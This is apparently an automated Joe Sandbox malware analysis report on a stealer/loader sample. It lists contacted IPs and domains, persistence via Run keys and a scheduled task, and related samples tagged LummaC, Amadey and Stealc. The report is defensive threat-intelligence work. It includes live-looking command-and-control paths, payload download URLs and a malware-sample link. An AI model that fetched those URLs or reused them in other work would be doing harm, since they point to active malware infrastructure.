http://mozilla.org/MPL/2.0/.	firefox.exe, 0000001F.00000002.3174946881.0000021D5B1DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3168169103.0000021D5AD3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3168169103.0000021D5AD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3178863404.0000021D5B309000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3174946881.0000021D5B1EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3178233684.0000021D5B25C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3166689700.0000021D5AA44000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3163455413.0000021D5A31A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2963499868.0000021D5B334000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3168169103.0000021D5AD06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.3001239818.0000021D629AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3141634658.0000021D56248000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3162076489.0000021D5A1D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3172917844.0000021D5B08E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2968281051.0000021D5B1C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3167223156.0000021D5AB03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://youtube.com/	firefox.exe, 0000001F.00000002.3191716971.0000021D5BF2D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.zhihu.com/	firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2108131234.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2864433763.0000000005159000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2108131234.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2864433763.0000000005159000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://a9.com/-/spec/opensearch/1.1/	firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://json-schema.org/draft/2019-09/schema	firefox.exe, 0000001F.00000003.3014465216.0000021D5BD67000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://developer.mozilla.org/en/docs/DOM:element.addEventListener	firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 0000001F.00000002.3151586568.0000021D56C25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://outlook.live.com/default.aspx?rru=compose&to=%s	firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3166175514.0000021D5A965000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	d816f1d41e.exe, 0000000E.00000003.2866553858.0000000005234000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3166175514.0000021D5A965000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2079545564.00000000059A8000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2826082954.0000000005146000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2989337398.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2981657704.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2983890011.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.co.uk/	firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.com/	firefox.exe, 0000001F.00000003.2951370761.0000021D5AD1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3167223156.0000021D5AB03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/search	firefox.exe, 0000001F.00000002.3151586568.0000021D56C25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2952487746.0000021D5AD57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2951370761.0000021D5AD1E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000001F.00000002.3151586568.0000021D56C25000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://json-schema.org/draft-07/schema#-	firefox.exe, 0000001F.00000002.3134078265.0000021D4AAEA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/8P	f324957d91.exe, 00000010.00000002.2891046644.00000000015F3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://twitter.com/	firefox.exe, 0000001F.00000002.3191716971.0000021D5BF2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://vk.com/	firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.mi	powershell.exe, 0000000D.00000002.2810444429.0000000007B94000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/	d816f1d41e.exe, 0000000E.00000003.3077887058.00000000006C5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture	firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://poczta.interia.pl/mh/?mailto=%s	firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3166175514.0000021D5A965000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/complete/search	firefox.exe, 0000001F.00000003.3014465216.0000021D5BD67000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	firefox.exe, 0000001F.00000002.3141634658.0000021D562AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/	file.exe, 00000000.00000003.2122824469.0000000001119000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154839690.000000000111E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2123271549.000000000111E000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2915907138.0000000005124000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2843030562.0000000005111000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2916475269.0000000005128000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2843129204.0000000005113000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2907509142.0000000005128000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2916092827.00000000006DB000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2916287948.00000000006DD000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.3076811985.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2901260329.0000000005122000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.3010756627.0000000001468000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.3013020839.0000000001468000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.3030153241.0000000001468000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	firefox.exe, 0000001F.00000002.3141634658.0000021D562AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 0000001F.00000003.2995721181.0000021D62929000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://json-schema.org/draft/2019-09/schema./	firefox.exe, 0000001F.00000002.3134078265.0000021D4AAEA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.com/recommendations	firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.com	firefox.exe, 0000001F.00000002.3163455413.0000021D5A31A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google.com	firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco	firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://mail.yahoo.co.jp/compose/?To=%st	firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://json-schema.org/draft-06/schema#	firefox.exe, 0000001F.00000002.3134078265.0000021D4AAEA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.avito.ru/	firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://developer.mozilla.org/en/docs/DOM:element.removeEventListener	firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com	firefox.exe, 0000001F.00000002.3182187126.0000021D5B747000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ctrip.com/	firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
140.82.121.3	github.com	United States	36459	GITHUBUS	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
142.250.185.238	youtube.com	United States	15169	GOOGLEUS	false
185.199.111.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
188.114.97.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.43.145	seallysl.site	United States	13335	CLOUDFLARENETUS	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544999
Start date and time:	2024-10-30 00:19:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	54
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@91/52@80/18
EGA Information:	Successful, ratio: 42.9%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 54.185.230.140, 35.160.212.113, 52.11.191.138
Excluded domains from analysis (whitelisted): fs.microsoft.com, shavar.prod.mozaws.net, slscr.update.microsoft.com, otelrules.azureedge.net, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, 6.0.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.0.3.0.1.3.0.6.2.ip6.arpa, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net, location.services.mozilla.com
Execution Graph export aborted for target X42E6LZ0BD4W2FEYDTB0TDC.exe, PID 2276 because it is empty
Execution Graph export aborted for target file.exe, PID 5044 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 3180 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 6972 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
00:20:23	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
00:21:19	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d816f1d41e.exe C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe
00:21:27	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run f324957d91.exe C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe
00:21:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d40e036167.exe C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe
00:21:44	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1002490001\num.exe
00:21:53	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d816f1d41e.exe C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe
00:22:01	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run f324957d91.exe C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe
00:22:11	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d40e036167.exe C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe
19:20:00	API Interceptor	12x Sleep call for process: file.exe modified
19:21:02	API Interceptor	4250x Sleep call for process: skotes.exe modified
19:21:13	API Interceptor	25x Sleep call for process: powershell.exe modified
19:21:15	API Interceptor	48x Sleep call for process: d816f1d41e.exe modified
19:21:28	API Interceptor	285x Sleep call for process: Session.exe modified
19:21:30	API Interceptor	2x Sleep call for process: svchost.exe modified
19:21:37	API Interceptor	8x Sleep call for process: pdf.exe modified
19:22:00	API Interceptor	1x Sleep call for process: firefox.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	wo4POc0NG1.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	r9gBM4l6Ip.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
34.149.100.209	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
twitter.com	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
github.com	file.exe	Get hash	malicious	LummaC	Browse	140.82.121.4
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	140.82.121.3
	SecuriteInfo.com.Win64.Trojan.Agent.2S9FJA.25494.32016.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	SecuriteInfo.com.Win64.Trojan.Agent.2S9FJA.25494.32016.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	SecuriteInfo.com.Trojan.Agent.GMXD.11819.15970.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	SecuriteInfo.com.Trojan.Agent.GMXD.11819.15970.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	General Agreement.docx.exe	Get hash	malicious	Python Stealer, Babadeda, Exela Stealer, Waltuhium Grabber	Browse	140.82.121.3
	https://github.com/Matty77o/malware-samples-m-h/raw/refs/heads/main/TheTrueFriend.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	https://github.com/Matty77o/malware-samples-m-h/raw/refs/heads/main/TheTrueFriend.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	LYDI9MoZyu.js	Get hash	malicious	STRRAT	Browse	140.82.121.3
star-mini.c10r.facebook.com	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFmiRUl-2BtxcZ73D3PC6s7dEdSEpNEVf7BmEr33HzpWyzDy2Qc_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZML5SAWON4OCquRGeOrZOG6X7bKIH2ouDi7O5ssZhkwdV9j8BuAetGO74HzivTb4yjw5AGX5ZMnsGYBS3vBuNNgFYRVSYVxc5dN7eCLDUr43XjgYUZE2GmJzXmN-2BelIHWKsvaOOIeqiW6cnMf2CI6MeEhodwtV2LpZJtWZhkGi5I2rlc08PnxbPlMsOj2Cr9oC-2BCWb9WuPqmZU8rqYD8CNL-2BgY3UElGOq-2BfG3NfYFdrc0Rb11eU0t5G2ihyqzzZVfI-3D#cHNjaG1pdHRAZ3Jpc3Qub3Jn	Get hash	malicious	Unknown	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
ATGS-MMD-ASUS	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	belks.arm.elf	Get hash	malicious	Mirai	Browse	57.44.124.158
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	belks.sh4.elf	Get hash	malicious	Mirai	Browse	34.17.28.191
	belks.ppc.elf	Get hash	malicious	Mirai	Browse	57.43.170.29
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
GITHUBUS	file.exe	Get hash	malicious	LummaC	Browse	140.82.121.4
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	140.82.121.3
	SecuriteInfo.com.Win64.Trojan.Agent.2S9FJA.25494.32016.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	SecuriteInfo.com.Win64.Trojan.Agent.2S9FJA.25494.32016.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	SecuriteInfo.com.Trojan.Agent.GMXD.11819.15970.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	SecuriteInfo.com.Trojan.Agent.GMXD.11819.15970.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	General Agreement.docx.exe	Get hash	malicious	Python Stealer, Babadeda, Exela Stealer, Waltuhium Grabber	Browse	140.82.121.3
	https://github.com/Matty77o/malware-samples-m-h/raw/refs/heads/main/TheTrueFriend.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	https://github.com/Matty77o/malware-samples-m-h/raw/refs/heads/main/TheTrueFriend.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	LYDI9MoZyu.js	Get hash	malicious	STRRAT	Browse	140.82.121.4
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://docs.google.com/uc?export=download&id=1rG5XITnDsiVQCEMAfg1Ex3pDcYxrlv0N	Get hash	malicious	Unknown	Browse	140.82.121.3 185.199.111.133
	file.exe	Get hash	malicious	LummaC	Browse	140.82.121.3 185.199.111.133
	EVER ABILITY V66 PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	140.82.121.3 185.199.111.133
	MV. NORDRHONE VSL's PARTICULARS.xlsx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	140.82.121.3 185.199.111.133
